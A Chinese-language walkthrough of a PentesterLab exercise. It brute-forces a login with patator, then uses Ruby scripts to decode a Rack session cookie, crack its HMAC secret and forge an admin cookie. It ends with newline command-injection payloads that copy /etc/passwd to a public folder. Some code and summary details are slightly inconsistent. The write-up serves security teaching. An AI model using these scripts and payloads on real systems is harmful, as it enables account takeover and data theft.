Cookie篡改與命令注入

*本文原創作者:Aohanh,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載

在滲透測試過程中,我們經常會遇到cookie得不到正確的利用,但是在一些框架中(比如PLAY、RACK),我們能利用cookie達到欺騙或篡改的目的,達到跨權登陸,拿取Webshell控制網站權限的作用。

cookie 篡改 (cookie poisoning) 是一項主要以獲取模擬和隱私權泄密著稱的技術,通過維護客戶(或終端用戶)身份的會話信息操縱來實現的。通過打造這些 cookie ,攻擊者可以模擬一個有效的客戶,因此獲取詳細信息并執行代表病毒的行為。這種打造的能力,像會話 cookie (或者更通俗地說,會話標識)源自于這些標識不是以安全的方式產生的事實。

在pentester環境中存在Cookie篡改與命令注入的WEB程序,我們下載下來搭建,下載地址:

https://pentesterlab.com/exercises/rack_cookies_and_commands_injection

一個普通的登錄界面,可以將攻擊分為四個部分:

1.指紋識別:收集有關Web應用程序和正在使用的技術的信息。

2.暴力強制驗證頁面。

3.篡改機架cookie以獲得管理員權限。

4.從管理頁面,通過注入獲取命令,以運行底層操作系統上的任何命令。

一、指紋識別

抓個包burpsuit,查看信息,我們可以看到應用程序使用Apache 2.2.16和Phusion Passenger 3.0.12在Debian服務器上運行。Phusion可能是托管基于Ruby / Rack的應用程序的最常用方法。我們還可以看到應用程序將我們重定向到具有HTTP 302和Location標頭。

掃掃端口:netcat  telnet等等。

二、暴力破解

該題為一正常滲透題,登陸界面考慮SQL注入和爆破等,sql注入萬能密碼等報錯沒法實現,采用爆破。爆破方法:1、burpsuit   2、patator暴力破解,這里采用patator暴力破解,(Patator( http://code.google.com/p/patator/ )是一個多協議暴力破解工具,它可用于查找Web應用程序和許多其他服務的默認憑據)。

掃描語句:patator http_fuzz url=http://目的地址/login method=POST body=’login=FILE0&password=FILE0′ 0=~/123.txt accept_cookie=1  follow=1 -x ignore:fgrep=’DNS Manager Login’  -l /tmp/patator

http_fuzz用于告訴Patator使用該模塊http_fuzz;

url= 用于設置URL;

ethod=POST 告訴Patator使用HTTP POST;

body 是基于我們之前收集的信息的請求的主體。

我們還希望使用accept_cookie=1和follow=1接受應用程序發回的cookie并遵循重定向,因為應用程序在嘗試失敗后重定向我們,它可能會成功嘗試。

-x ignore:fgrep=’DNS Manager Login’ 用于告訴Patator忽略包含“DNS Manager Login”的響應,一旦我們登錄,很可能我們不會在網站的經過身份驗證的部分看到這一點。

找到爆破出的賬號密碼,登陸成功!

三、篡改cookie提權

登錄并檢查HTTP流量時,您可以看到服務器發回一個名為的cookie rack.session。我們將看到如何解碼和修改此cookie以提升我們的權限。默認的Cookie有兩種形式。

1.字符串:Set-Cookie:rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFNWE4OWJhZmNhNDc2MGY1MTA0MTJm%0AZTM0MDJlZjE3MzAxN2ZjMzBjYWRmMWNiYTgwNGYxNzE3NTI1NTgxNjZmYw%3D%3D%0A; path=/; HttpOnly

2.字符串和簽名分隔符號–:Set-Cookie: rack.session=BAh7BkkiD3Nlc3Npb25faWQGOgZFRiJFYmJiMTRiODI3YjdlODg2OWMwNWY3%0ANjdmMGNlZjg2YjVkN2VjMDQxN2ZlYTU0YWM3ZTI5OTUwNTY3MjgzMWI3Yg%3D%3D%0A–61215fa13942903faa4652f73e613aa0ced6db2d; path=/; HttpOnly

rack.session是Ruby里面的中間件實現的一個方法,可以訪問應用程序的源代碼,則可以通過搜索“使用Rack :: Session :: Cookie”快速檢查用于簽署cookie的值。如果使用簽名的cookie,該行應該看起來像`使用Rack::Session::Cookie, :secret => “s3cr3t”。看到可以訪問應用程序通過一系列操作過后的源碼,那么我們可以對獲取到的 cookie進行解碼。Cookie編碼分為三個部分:

1.使用ruby函數Marshal.dump序列化該對象;

2.結果使用base64編碼;

3.然后對結果進行URL編碼以防止HTTP出現任何問題。

為了解碼cookie,我們需要反轉這三個操作:

1.提取cookie值:刪除cookie的名稱和選項以及簽名;

2.使用URL編碼和base64解碼此值;

3.使用ruby函數Marshal.load加載對象。

通過觀察rack.session的形式判斷為字符串和簽名分隔符號–,所以再將cookie解碼后還需要將之后的簽名重新匹配。我們首先獲取解碼過后的cookie值,寫一個Ruby腳本:

99.rb

#encoding: utf-8
require "net/http"
require "uri"
require 'pp'
require 'base64'
require 'data_mapper'
class User
end
# Remote host
DataMapper.setup(:default,'sqlite3::memory')
URL = "http://地址/login"
# Create URL object
url = URI.parse(URL)
creds = "test"
# Authentication
resp = Net::HTTP.start(url.host, url.port) do |http|
  http.post(url.request_uri, "login=#{creds}&password=#{creds}")
end
# puts get the cookie
c = resp.header['Set-Cookie'].split("=")[1].split("; ")[0]
cookie, signature = c.split("--")
decoded = Base64.decode64(URI.decode(cookie))
begin
  # load the object
  object = Marshal.load(decoded)
  pp object
rescue ArgumentError => e
  puts "ERROR: "+e.to_s
End

返回結果:

通過執行這些操作,我們現在可以訪問服務器提供的信息。訪問信息是好的,特別是如果開發人員在cookie中存儲敏感信息,但是這里的目標是操縱cookie以進一步嘗試修改我們剛解碼的值以更改屬性admin。

1.要篡改未簽名的cookie,我們需要解碼cookie,篡改它然后重新編碼。我們剛剛看到了如何解碼cookie,現在我們只需要修改屬性并重新編碼。首先,我們需要在User類中添加一行才能訪問該admin屬性:類里面添加attt_accessor :admin。

之后再將Cookie編碼:

object = Marshal.load(decoded)

pp object

object["user"].admin = true

nc = Base64.encode64(Marshal.dump(object))

pp nc

2.篡改簽名的cookie,要篡改簽名的cookie,需要找到用于簽署cookie的秘密,

使用以前的腳本來篡改和重新簽名被篡改的cookie。在文件lib/rack/session/cookie.rb中有如何對簽名進行匹配的方法:

def generate_hmac(data, secret)

OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)

end

寫一個Ruby腳本匹配密碼字典,獲得生成該簽名的密鑰:

456789.rb

require 'openssl'
require 'uri'
require 'pp'
COOKIES= "BAh7B0kiD3Nlc3Npb25faWQGOgZFRiJFNjYzYjQ1YTQxZDk1ZGZiMTBiZTA1%0AMjNmMjA2ZGNjOWZiMGUxZDU0MGM1NWQwYzI1MDA5M2FlNzc4YjNiYzYwNEki%0ACXVzZXIGOwBGbzoJVXNlcgs6GEBfcGVyc2lzdGVuY2Vfc3RhdGVvOjJEYXRh%0ATWFwcGVyOjpSZXNvdXJjZTo6UGVyc2lzdGVuY2VTdGF0ZTo6Q2xlYW4HOg5A%0AcmVzb3VyY2VACToLQG1vZGVsYwlVc2VyOgtAbG9naW5JIgl0ZXN0BjsAVDoL%0AQGFkbWluRjoOQHBhc3N3b3JkSSIlMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgz%0AMjYyN2I0ZjYGOwBUOghAaWRpBzoRQF9yZXBvc2l0b3J5bzobRGF0YU1hcHBl%0Acjo6UmVwb3NpdG9yeQg6CkBuYW1lOgxkZWZhdWx0OhNAaWRlbnRpdHlfbWFw%0Ac3sGQAtDOhxEYXRhTWFwcGVyOjpJZGVudGl0eU1hcHsGWwZpB0AJOg1AYWRh%0AcHRlcm86KERhdGFNYXBwZXI6OkFkYXB0ZXJzOjpTcWxpdGVBZGFwdGVyDTsR%0AOxI6DUBvcHRpb25zQzoVRGF0YU1hcHBlcjo6TWFzaHsOSSILc2NoZW1lBjsA%0ARkkiC3NxbGl0ZQY7AEZJIgl1c2VyBjsARjBJIg1wYXNzd29yZAY7AEYwSSIJ%0AaG9zdAY7AEZJIgAGOwBGSSIJcG9ydAY7AEYwSSIKcXVlcnkGOwBGMEkiDWZy%0AYWdtZW50BjsARjBJIgxhZGFwdGVyBjsARkkiDHNxbGl0ZTMGOwBGSSIJcGF0%0AaAY7AEZJIhAvdG1wL2Rucy5kYgY7AEY6IEByZXNvdXJjZV9uYW1pbmdfY29u%0AdmVudGlvbm1GRGF0YU1hcHBlcjo6TmFtaW5nQ29udmVudGlvbnM6OlJlc291%0AcmNlOjpVbmRlcnNjb3JlZEFuZFBsdXJhbGl6ZWQ6HUBmaWVsZF9uYW1pbmdf%0AY29udmVudGlvbm02RGF0YU1hcHBlcjo6TmFtaW5nQ29udmVudGlvbnM6OkZp%0AZWxkOjpVbmRlcnNjb3JlZDoUQG5vcm1hbGl6ZWRfdXJpbzoVRGF0YU9iamVj%0AdHM6OlVSSQ86DEBzY2hlbWVAHjoPQHN1YnNjaGVtZTA6CkB1c2VyMDsNMDoK%0AQGhvc3RAGToKQHBvcnQwOgpAcGF0aEAgOgtAcXVlcnlDOxh7DkAUQBVAFjBA%0AFzBAGEAZQBowQBswQBwwQB1AHkAfQCA6DkBmcmFnbWVudDA6DkByZWxhdGl2%0AZTA6FEBzcWxpdGVfdmVyc2lvbkkiCjMuNy4zBjsAVDojQHN1cHBvcnRzX2Ry%0Ab3BfdGFibGVfaWZfZXhpc3RzVDoVQHN1cHBvcnRzX3NlcmlhbFQ%3D%0A--61b269ef4410ef84c529196aa4ebbb85193441d8"
def sign(data, secret)
  OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, secret, data)
end
value, signed = COOKIES.split("--",2)
value = URI.decode(value)
File.readlines(ARGV[0]).each do |c|
  c.chomp!
  if sign(value, c) == signed
    puts "Secret found: "+c
    exit
  end
end

此處的cookie為破解登陸test過后獲取的cookie。

結果:

此處我們獲取了該cookie的簽名密鑰,說明我們可以重新簽名我們需要提交的Cookie。

添加以下腳本代碼:

# before

pp object

object["user"].admin = true

# after

pp object

# new cookie:

nc =Base64.encode64(Marshal.dump(object))  

ns = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, "secret", nc)

newcookie = URI.encode(nc).gsub("=","%3D")+"--"+ns

#pp object

resp = Net::HTTP.start(url.host, url.port) do |http|

http.get("/", {"Cookie" => "rack.session="+newcookie })

puts resp.body

pp newcookie

pp resp

pp resp.body

#pp resp.body

end

如果一切正確完成,您應該得到HTTP / 200響應。但是很多瀏覽器會重新編碼某些字符,如果你重定向到登錄頁面。就會返回302。我們可以采用burpsuit重新提交cookie。

頁面重新加載,返回為管理員界面,提權成功。

四、 命令注入

當開發人員無法確保用戶發送的參數被正確編碼時,頁面易受命令注入攻擊。

有很多方法可以獲取命令注入:

1.用“來獲取我們想要先運行的命令;

2.使用|,&或;在第一個之后插入另一個命令。

與任何Web漏洞一樣,測試和查找命令執行是基于大量的嘗試來嘗試理解代碼可能對您提供的數據執行的操作。

您需要在應用程序中找到命令中使用參數的位置。然后,您可以嘗試操縱此參數以觸發錯誤或奇怪的行為。

如果您沒有看到任何更改,您還可以嘗試使用服務器回答的時間。例如,您可以使用以下命令在服務器響應中創建延遲:

ping -c 4 127.0.0.1
· sleep 5

如果您看到時間延遲,則可能會在遠程服務器上注入命令并運行任意命令。

首先我們嘗試直接在修改或者新建數據的窗口進行命令注入。

頁面返回錯誤:

然而,基于Ruby的應用程序的一個非常普遍的問題是對正則表達式如何工作的誤解:在Ruby中,正則表達式默認是多行的。

例如,以下正則表達式/^\d+$/將驗證:

“123”,與任何其他語言一樣;

“123 \ n arbitrary data”;

“ arbitrary data\ n123 \ n arbitrary data”。

我們現在可以通過抓包并%0a在請求中注入新行(編碼為)和任意命令來測試此值:

id=1&name=webmail&ip=127.0.0.1%0a`pwd`&ttl=600

頁面返回信息:

正如我們所看到的,服務器不會發回命令注入的完整輸出。我們需要找到一種通過其他方式獲取此信息的方法。

第一種方法是,如果命令每行只返回一個單詞,則過濾第一個單詞。例如,您可以運行ls,它將Gemfile作為第一個結果返回。然后你可以運行ls | grep -v Gemfile,然后返回config.ru。您可以繼續操作直到獲得所有結果,但是您可能會達到參數的大小限制并返回到默認錯誤消息。

使用第一個命令,我們看到(通過運行pwd)應用程序位于/var/www。由于應用程序是基于Rack的應用程序,因此很可能存在公共存儲庫(據我所知,這是強制性的)。我們可以使用此信息來運行命令并將結果放入文件中,/var/www/public或者只將文件復制到此存儲庫。

例如,我們可以運行:

id=1&name=webmail&ip=127.0.0.1%0a`cp /etc/passwd /var/www/public/`&ttl=600

然后,我們可以直接訪問http://目的地址/passwd。

總結:當網站采用ruby-PLAY框架時,我們能將cookie篡改達到提權登陸的目的,使用irb將cookie解碼,用admin管理員用戶登陸成功,上傳webshell,從而威脅網站權限。

此文部分內容轉載于: https://www.pentesterlab.com/exercises/rack_cookies_and_commands_injection/course ,謝謝瀏覽。

*本文原創作者:Aohanh,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載

我來評幾句
登錄后評論

已發表評論數()

相關站點

+訂閱
熱門文章
河北20选5平台